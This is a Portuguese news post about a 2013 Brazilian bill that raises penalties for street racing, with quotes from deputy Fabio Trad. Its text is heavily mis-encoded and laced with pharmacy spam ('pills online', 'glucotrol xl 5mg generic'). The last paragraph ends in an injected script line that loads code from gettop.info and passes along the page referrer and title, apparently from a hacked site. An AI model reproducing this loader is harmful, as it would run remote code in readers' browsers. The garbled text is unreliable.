Fabio Trad quer penas severas para “rachas”

Apr 26 2013
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pills online A CA?mara Federal aprovou na quarta-feira (24) o Projeto de Lei 2592/07, do deputado Beto Albuquerque (PSB-RS), que aumenta a pena para a prA?tica do ai???rachaai??? em vias pA?blicas de seis meses a dois anos de detenAi??A?o para seis meses a trA?s anos. SA?o criadas tambAi??m penas de reclusA?o se, desse crime, resultar lesA?o corporal grave ou morte. A matAi??ria serA? votada ainda pelo Senado.

Para o deputado federal Fabio Trad (PMDB-MS), que trabalhou pela aprovaAi??A?o do projeto, trata-se de uma importante ferramenta para coibir esta prA?tica perigosa e irresponsA?vel.

ai???Ao responsabilizar o responsA?vel por estas prA?ticas de forma mais dura, estamos colaborando para coibi-laai???, afirmou. glucotrol xl 5mg generic

O texto acatado pelo PlenA?rio Ai?? do relator pela ComissA?o de ViaAi??A?o e Transportes, deputado Hugo Leal (PSC-RJ), que incorporou mudanAi??as sugeridas por diversos deputados. A principal novidade em relaAi??A?o ao CA?digo de TrA?nsito Brasileiro (Lei 9.503/97) atual Ai?? a introduAi??A?o da pena de reclusA?o para os agravantes que possam ocorrer na prA?tica do racha, mesmo que o agente nA?o tenha desejado o resultado nem assumido o risco de produzi-lo.

No caso de morte ocorrida em decorrA?ncia do racha, a pena serA? de reclusA?o de 5 a 10 anos, sem prejuAi??zo de outras penas. No texto aprovado pela ComissA?o de ViaAi??A?o e Transporte, era de 5 a 15 anos. Para a lesA?o corporal grave, a pena serA? de 3 a 6 anos, em vez de 3 a 8 anos como aprovado pela comissA?o.

O texto tambAi??m aumenta em dez vezes as multas aplicA?veis nos casos de ai???rachaai???, ai???pegaai???, manobras perigosas, arrancadas e competiAi??Ai??es nA?o autorizadas. Atualmente, elas variam de uma vez a cinco vezes. No caso de reincidA?ncia dentro de 12 meses, a multa aplicada dobra. O recolhimento do veAi??culo e a suspensA?o do direito de dirigir continuam.

Para a ultrapassagem na contramA?o em situaAi??Ai??es perigosas, como curvas, faixas de pedestre, pontes ou tA?neis e nas faixas duplas contAi??nuas, a multa passa a ser de cinco vezes, com aplicaAi??A?o do dobro na reincidA?ncia.

Quem ultrapassar outro veAi??culo pelo acostamento ou em interseAi??Ai??es e passagens de nAi??vel terA? multa equivalente a cinco vezes a normal, e a falta passa a ser considerada gravAi??ssima.

No caso de ultrapassagem em pistas de duplo sentido, se o condutor forAi??ar a passagem entre veAi??culos, a multa serA? de dez vezes a atual, com aplicaAi??A?o do dobro na reincidA?ncia e suspensA?o do direito de dirigir.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; Buy